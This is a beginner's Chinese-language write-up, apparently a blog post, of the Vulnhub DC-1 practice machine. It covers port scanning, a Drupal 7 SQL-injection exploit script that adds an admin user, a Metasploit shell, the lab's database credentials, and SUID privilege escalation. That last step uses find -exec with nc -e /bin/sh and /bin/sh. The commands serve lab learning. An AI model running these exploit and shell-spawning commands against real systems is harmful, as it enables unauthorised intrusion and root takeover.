我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习。

实验过程总结

1.这个题我觉得对刚入门的我来说,十分的困难,参考了很多资料做了很长的时间才解决
2.对端口信息扫描,探测存在22和80端口,但22端口ssh爆破无果,登录网站后发现是Drupal框
架,版本是7.x但不确定是哪个x
3.利用searchsploit搜索Drupal历史漏洞,并成功利用exp添加管理员账号,利用该账号登录页面
后在content的地方发现flag3,的确很不科学,一开始就跳到flag3
4.于是用meta打18年的exp,成功得到shell,但不好的地方是我没有用python的完全交互tty,
但对后面过程的确没有影响
5.得到msf的shell之后查看文件即可得到flag1,flag1提示找Drupal框架的数据库的文件
6.找到数据库文件后,我才意识到这个题的意思是可以通过数据库更新admin密码的方式登录到网站
得到flag3,但如果这个思路走不通,也可以尝试用searchsploit。
7.根据flag3的提示查看passwd文件得到flag4,但提示要root权限
8.使用suid的提权方法去提权
9.通过这次的靶机,我学到了很多东西,但对我来讲的确挺难的,渗透之路漫漫,继续保持努力

渗透靶机攻击复现

信息收集

老方法还是先探测存活的主机,因为vm box没给IP,很有意思(23333
netdiscover -i eth0 -r 192.168.0.0/24

使用nmap -sS -p 1-65535 –open 192.168.0.119探测开放的端口

对于111端口的rpcbind服务,搜索了下,网上的解释是这样的

RPC即Remote Procedure Call Protocol(远程过程调用协议),RPCBIND用于取代旧版本中的
portmap组件。 简单说,RPCBIND就是为了将不同服务与对应的端口进行绑定,以便支持机器间的
互操作

看到开放了22端口和80端口,那就先去网页看看,然后待会再尝试玩玩ssh爆破一下

对账号密码框进行sql注入,弱口令爆破,但无法成功,只能尝试工具了。(毕竟还是个脚本小子 哈哈哈)御剑上去扫一下
很尴尬,御剑字典不够强大还是什么,扫不出来东西。我回去看了下我之前用nmap探测端口的详细信息是发现这个站有robots的


的确也能进去,可是为什么御剑没扫出来

搜索了一下,Drupal框架最重要的文件是changelog.txt,于是尝试进入一下,发现已经被删除了,其他的user/password进去后发现暂时还没办法利用
网页上很明显的提醒了是Drupal的cms框架,我想用whatweb探测一下有什么内容


searchsploit的利用

我网上搜索了一些资料,了解到Drupal 7.31版本是存在sql注入漏洞的 :2014年10月16日有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞,并给出了利用测试的EXP代码,该利用代码可成功执行并在数据库中增加一个攻击者自定义的用户。
探测到是Drupal 7版本,但具体版本是什么,并不知道,于是用searchsploit搜索一下Drupal漏洞的历史记录

发现这里是个突破口,这是个思路,我选择的是34992.py这个exp
/usr/share/exploitdb/exploits/php/webapps/34992.py 选择这个模块之后查看如何使用,

python /usr/share/exploitdb/exploits/php/webapps/34992.py -u admin -p 123456 --target http://192.168.0.119/

攻击成功添加账号密码,尝试登录一下后台看看什么个情况

但是!居然登录不了,我认为是原本就有admin和他对应的密码,所以要创建一个不是admin的账号才能成功登录后台

进入之后摸索了很久发现了flag3

flag3内容

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
-exec
Shadow
触及知识盲区 再研究研究,但好像这样直接flag3了 ,有点不科学,
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容。, 特别PERMS将有助于找到passwd文件 - 但你需要-exec该命令的工作如何获得什么在shadow
我搜索了一下 就是说

1要我们去查看passwd文件,或者shadow文件
2看到perm要猜测可能是suid提权(好难!根本没学过,狂搜资料

这里先放着


MSF打exp

我现在先用Metasploit搜索drupal
Msfconsole启动,每次都很骚有没有

Search Drupa

可以看到攻击点有很多,有14年的sql注入漏洞,16年的命令注入漏洞,19年的反序列化RCE漏洞等等,但我看上了18年的
老规矩 use目录之后 查看一下要设置的选项,show options,yes而且有数据的,证明是设置好的,只需要设置没有数据的

Set RHOSTS 192.168.0.119 然后run

查看当前位置和目录

发现了flag1

每个好的CMS框架都需要一个数据库配置文件,你也一样。
搜索浏览器可知drupal的数据库配置文件在/sites/default/settings.php

查看之后发现flag2

翻译:蛮力和字典攻击不是
*只有获得访问的方法(您将需要访问)。
你能用这些凭证做什么?

获得数据库和账号密码

'database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t',

原来这里的意思就是说利用这个账号密码连进数据库,然后更新里边admin的密码,然后登录到后台,寻找flag3内容但其实看了内容还不懂什么意思,蛮力和字典的话,我看了其他大表哥的解题是用hrdya暴力破解flag4,但发现flag4好像不用破解也能读取到里边的内容而且和最后的flag没有冲突


suid 提权

因为上文开始就用searchsploit的exp添加了账号密码登录进去后台并找到了flag3,其实看了内容还不懂什么意思,但有提示passwd,就是要看etc/passwd文件,我在meter进入shell后,的确在最下面看到了flag4这个文件内容

但是他说我权限不够,这个时候我才懂什么意思,就是要用flag3提示的suid提权方式得到root权限才能查看最后那个flag内容,才算结束这个靶机的任务。

SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在
Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个
用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,
将获取文件所有者的权限以及所有者的UID和GID。

方法一:

find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

找到root权限的suid的find

然后/usr/bin/find /home/flag4/flag4.txt -exec nc -nlvp 1234 -e /bin/sh ;
再另开一个窗口接收靶机的nc反弹root权限shell就可以查看最后的flag了

方法二:

 find . -exec '/bin/sh' \;


补充一个Python命令获取一个正常的tty模式

方法三:

先touch XXX创建一个文件
然后:find / -type f -name getflag -exec "whoami" \;
如下图所示方法

vulnhub渗透系列之DC(一) :内含suid的三种提权方法相关推荐

  1. Linux常用提权方法 (゚益゚メ) 渗透测试

    文章目录 简介 常用命令汇总 靶机环境 Linux提权方法 Linux提权漏洞利用 脏牛(Dirty COW)CVE-2016-5195漏洞 CVE-2019-7304漏洞 CVE-2019-1327 ...

  2. Windows常用提权方法 (゚益゚メ) 渗透测试

    文章目录 提权说明 Windows提权类型 准备工作 手动配置漏洞 提权 msf常用提权命令 Windows可信任服务路径(不安全的文件/文件夹权限) 漏洞产生原因 利用条件 攻击演示 MSF载荷 不 ...

  3. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  4. Linux下SUID提权方法

    目录 SUID 1. 利用find文件提权 vulnhub靶机DC-1渗透-SUID提权 SUID SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户 ...

  5. Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等

    Penetration_Testing_POC 搜集有关渗透测试中用到的POC.脚本.工具.文章等姿势分享,作为笔记吧,欢迎补充. Penetration_Testing_POC 请善用搜索[Ctrl ...

  6. linux利用* vim提权,linux 通过suid vim.basic文件提权

    在kali上复现 先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户 现在就是一个合适的提权环境 ...

  7. 深入学习SAP UI5框架代码系列之七:控件数据绑定的三种模式 - One Way, Two Way和OneTime实现原理比较

    这是Jerry 2021年的第 8 篇文章,也是汪子熙公众号总共第 279 篇原创文章. 系列目录 (0) SAP UI5应用开发人员了解UI5框架代码的意义 (1) SAP UI5 module懒加 ...

  8. Xilinx ZYNQ 7000+Vivado2015.2系列(五)之ZYNQ的三种启动方式-JTAG、SD card、Flash

    前言: 前面我们都是使用JTAG方式下载比特流文件,然后下载elf文件,最后点击Run as或者Debug as来运行程序.JTAG方式是通过tcl脚本来初始化PS,然后用JTAG收发信息,优点是可以 ...

  9. 框架源码系列九:依赖注入DI、三种Bean配置方式的注册和实例化过程

    一.依赖注入DI 学习目标 1)搞清楚构造参数依赖注入的过程及类 2)搞清楚注解方式的属性依赖注入在哪里完成的. 学习思路 1)思考我们手写时是如何做的 2)读 spring 源码对比看它的实现 3) ...

最新文章

  1. ajax同步,异步简单的介绍
  2. 用相对路径有时居然是这样,,加上%=basePath%
  3. 前目的地罗伯森是谁_前目的地谁演的,前目的地的扮演者罗伯森先生资料介绍-易看TV...
  4. JQuery 获取节点
  5. Python教程:自定义排序全套方案
  6. redis 6379端口telnet不通的解决办法
  7. 模拟退火解决TSP问题
  8. Linux开启和关闭防火墙的方法
  9. 【Vue2.0】—解决页面闪烁的问题(八)
  10. opengl 遇到的基础问题
  11. 生成式对抗网络论文阅读整理
  12. 安装 EoLinker_4.0 开源版
  13. mysql 字符串拼接的几种方式
  14. icpc2019南京区域赛
  15. 笔记本电脑开机黑屏没反应怎么办
  16. cisco配置和ios备份
  17. 那些以玩笑说出口的话,往往是最真的表达
  18. Day02-HTML基础
  19. LeanCloud 一至二月变化
  20. python基本常用语法函数数据结构

热门文章

  1. 【06.11.27】【世界电影史上影片电影合集】【讯雷下载】
  2. RDO LOST / loss rdo
  3. 富贵不压重发_贵人不顶重发是什么意思(贵人不顶重发出自哪里)
  4. iOS 企业签名与超级签名
  5. sap发出商品差异差异分摊_什么是差异隐私?
  6. 自考计算机大专多久毕业证,自考大专要多久才可以拿到毕业证?
  7. div浮动到另一个div上面或者浮动到img图片上面
  8. [Android]如何做一个崩溃率少于千分之三噶应用app(22)-组件化路由跳转
  9. office2016安装记录
  10. TS流格式小白入门解读